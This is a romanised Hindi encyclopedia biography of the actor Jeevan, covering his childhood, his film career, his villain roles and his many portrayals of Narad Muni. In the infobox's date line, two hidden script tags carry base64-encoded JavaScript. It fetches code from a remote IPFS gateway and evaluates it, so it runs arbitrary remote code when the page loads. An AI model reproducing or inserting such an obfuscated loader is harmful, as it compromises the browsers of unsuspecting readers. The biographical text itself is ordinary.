जीवन (अभिनेता)

jivan (abhineta)
jivan|200px|center
poora nam	oankar nath dhar
prasiddh nam	jivan
janm	24 aktoobar, 1915
janm bhoomi	shrinagar, jammoo aur kashmir
mrityu	10 joon, 1987
pati/patni	kiran
santan	kiran kumar, bhooshan jivan
karm bhoomi	bharat
karm-kshetr	hindi sinema
mukhy filmean	‘dil ne phir yad kiya’, ‘hamaraz’, ‘bandhan’, ‘dharam vir’, ‘chacha bhatija’, ‘suhag’, ‘nasib’, ‘mere hamasafar’, ‘hir raanjha’, ‘roti’, ‘gembalar’, ‘yarana’, ‘sanam teri kasam’, ‘deshapremi’ aur ‘lavaris’ ityadi.
prasiddhi	abhineta
nagarikata	bharatiy
any janakari	abhineta jivan ko darshakoan ne narad muni ki bhoomika mean kafi pasand kiya. "narayan.... narayan..." bolate jivan ne devarshi narad ke us pauranik patr ko 60 se adhik filmoan mean parde par jivant kiya tha, jo shayad apane ap mean ek vikram aur ek kalakar ke lie b di upalabdhi thi.
adyatan‎	16:41, 31 mee 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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jivan (aangrezi: Jeevan, janm- 24 aktoobar, 1915, shrinagar; mrityu- 10 joon, 1987) hindi filmoan ke prasiddh abhineta the. unaka poora nam 'oankar nath dhar' tha. unhoanne filmi parde par apani bhoomikaoan ko b di hi sanjidagi se nibhaya. vaise to abhineta jivan ne adhikaansh filmoan mean khalanayak ki bhoomika nibhaee thi, lekin phir bhi ek bhoomika aisi thi jisamean darshakoan ne unhean dekhana hamesha pasand kiya. devarshi narad ke roop mean unake dvara nibhaee gee bhoomika ko darshak kabhi nahian bhool payeange. narad muni ke pauranik patr ko abhineta jivan ne 60 se bhi adhik filmoan mean parde par jivant kiya.

parichay

abhineta jivan ka janm 24 aktoobar, 1915 ko shrinagar, jammoo aur kashmir mean hua tha. unaka vastavik nam oankar nath dhar tha. jivan ko bachapan se hi abhineta banane ka man tha. unake putr aur khud bhi ek jane mane abhineta kiran kumar ne ek purane sakshatkar mean bataya tha ki jivan ke pita ji pakistan mean sthit gilagit ke gavarnar the. jivan ki mataji ka dehaant san 1915 mean jivan sahab ke janm ke samay hi ho gaya tha. unaki umr tin sal ki hote-hote jivan ke pitaji bhi chal base the. kintu gavarnar sahab ke khanadan ke putr ko sinema mean abhinay jaise us samay ke nimn vyavasay se nata jo dane ki ijajat parivar vale kaise dete? lihaja 18 sal ki umr mean jeb mean matr 26 rupaye lekar oankar nath dhar bambee (vartaman mumbee) jane ke lie ghar se bhag ge.

jivan ka ghar ka nam ‘jivan kiran’ tha aur log samajate the ki unhoanne apane sath bete ka bhi nam jo da tha, parantu hakikat ye thi ki unaki patni ka nam ‘kiran’ tha. ve lahaur ki thian. parde par adhikatar khalanayak ki bhoomika karane vale jivan sahab niji zindagi mean itane bhale the ki paisoan ke mamale mean koee agar unhean daga de jaye to ve kahate the- "us vyakti ko jyada jarurat hogi".

filmi shuruat

muanbee mean filmi duniya mean pravesh ke lie studiyo mean jo bhi kam mila, vah svikar kar liya. jivan sahab aur bad mean ‘shole’ jaisi anek filmoan ke adabhoot kaimera men dvaraka divecha donoan dost milakar, shootiang ke dauran stars ke chehare chamakane ke lie un par prakash pheankane vale yani riphlaikatars ko sanbhalane vale mazadoor ban ge. ek din studiyo mean nirmata mohan sinha yani ‘rajani gandha’ ki hiroin abhinetri vidya sinha ke dadaji apani nee film ke lie naye kalakaroan ke skrin test kar rahe the. sinha ji ne kampaund mean un donoan dostoan ko dekha aur achchhi kad-kathi ke naujavan oankar nath dhar ko poochha- "kya tum abhinay karana chahate ho?" na kahane ka saval hi kahaan tha? unaka skrin test hua aur svabhavik tha ki parinam achchha tha. sinha ji ne poochha- "kya karate ho?" aur yuva ne bataya ki vah unake studiyo mean riphlaiktar sanbhalata hai.

doosara saval aya- "kya kuchh ga sakate ho?" javab mean oankar ji ne panjab ki amar prem katha ‘hir raanjha’ ki kuchh panktiyaan sunaee aur ek mazadoori karane vale vyakti ki abhinay ki yatra ka aranbh ‘phaishanebal indiya’ film se hua. jab oankar nath dhar yani ne vijay bhatt ki film mean kam karana shuroo kiya, tab unhoanne naya nam ‘jivan’ diya, jo jivan bhar unaka nam raha. unake abhinay ki ek khasiyat ye thi ki khalanayaki mean ve k aaumedi bhi dal dete the. unhean dilip kumar ke khilaf khalanayak ke roop mean film ‘kohinoor’ mean dekhean ya ‘naya daur’ mean, abhineta jivan ki takkar ek alag hi mahaul kh da karati thi. unaka kam ‘amar akabar eth aauni’ mean bhi kafi saraha gaya tha. san 1964 ki film ‘mahabharat’ mean unaki bhoomika ‘shakuni mama’ ki thi.

narad muni ki bhoomika

abhineta jivan ko darshakoan ne narad muni ki bhoomika mean kafi pasand kiya. "narayan.... narayan..." bolate jivan ne devarshi narad ke us pauranik patr ko 60 se adhik filmoan mean parde par jivant kiya tha, jo shayad apane ap mean ek vikram aur ek kalakar ke lie b di upalabdhi thi. unako mukhy bhoomika mean lekar ‘narad lila’ film bhi aee thi. film 'j aauni mera nam' ke ek drishy mean 80 lakh ke hire chhupane vale smagalar ‘hira’ (jivan) se jab pulis puchhatachh karati hai to ve sigaret ka dhuana nikalate hue kahate haian- "kamishnar sahab, apako jo charj lagana ho lagakar chhutti kijie.... phalatu aphavahoan pe bahas karane se kya phayada?" aise to jane kitane hi drishy yad a jate haian, jab bhi jivan sahab ki smriti taja hoti hai. lekin darshakoan ne jivan ko sabase zyada narad muni ke roop mean hi apani yadoan mean banaye rakha.

pramukh filmean

jivan sahab ki filmoan mean pramukh haian-

‘dil ne phir yad kiya’, ‘abaru’, ‘hamaraz’, ‘bandhan’, ‘bhaee ho to aisa’, ‘talash’, ‘dharam vir’, ‘chacha bhatija’, ‘suhag’, ‘nasib’, ‘takkar’, ‘mere hamasafar’, ‘darliang darliang’, ‘phool aur patthar’, ‘intakam’, ‘hir raanjha’, ‘roti’, ‘sharif badamash’, ‘sabase b da rupaiya’, ‘gembalar’, ‘yarana’, ‘prophesar pyarelal’, ‘bulandi’, ‘sanam teri kasam’, ‘deshapremi’, ‘suraksha’ aur ‘lavaris’ ityadi.

kam ke prati samarpit

jivan ek aise khalanayak the, jo hiro se mar khane mean kabhi bhi kanjoosi nahian karate the. unaka manana tha ki ek film tabhi hit hoti hai, jab hiro khalanayak ko pitata hai. vah apane putr kiran kumar ko bhi salah dete the ki koee patr tabhi hiro kahalata hai, jab vah khalanayak ko barabar marata hai. isalie apane se kad mean chhote hiro se bhi mar khane mean kasar mat chho do. jivan se kabhi bhi nirmataoan ko koee shikayat nahian hoti thi, kyoanki unake parivar ke kisi sadasy ko set par ana to door ki bat thi, phon bhi lanch ke samay ke alava nahian kar sakate the. ve apane abhinay ke prati poori tarah se samarpit rahate the. isalie bi. ar. chop da aur manamohan desaee jaise b de nirmataoan ki filmoan mean jivan sahab niyamit roop se liye jate the. abhineta jivan ke putr kiran kumar ne ek sakshatkar mean bataya tha ki jivan sahab dharmik sthanoan par gariboan ko khana khilane mean aur yogy vidyarthioan ko padhane mean arthik sahayata karate rahate the. vakt ke paband jivan sahab kabhi bhi set par der se nahian pahuanche. jab bhi ve shootiang ke lie hajir hote the, sabase pahale stej ko chhoo kar naman karane ke bad hi apana din praranbh karate the.

mrityu

apane kam ko pooja-ibadat jaisa manane vale abhineta jivan ka 72 sal ki umr mean 10 joon, 1987 ko nidhan hua. narad muni ki apani anek bhoomikaoan aur kitani sari filmoan ke ek se ek yadagar patroan se jivan sahab hindi sinema ke darshakoan ke jivan mean apana alag sthan rakhate hue aj bhi zinda hi haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• jivan-‘narad muni’ se lekar kutil vilan tak ke kitane roop
• in paanch abhinetaoan se lagaya tha rekha ne dil, lekin...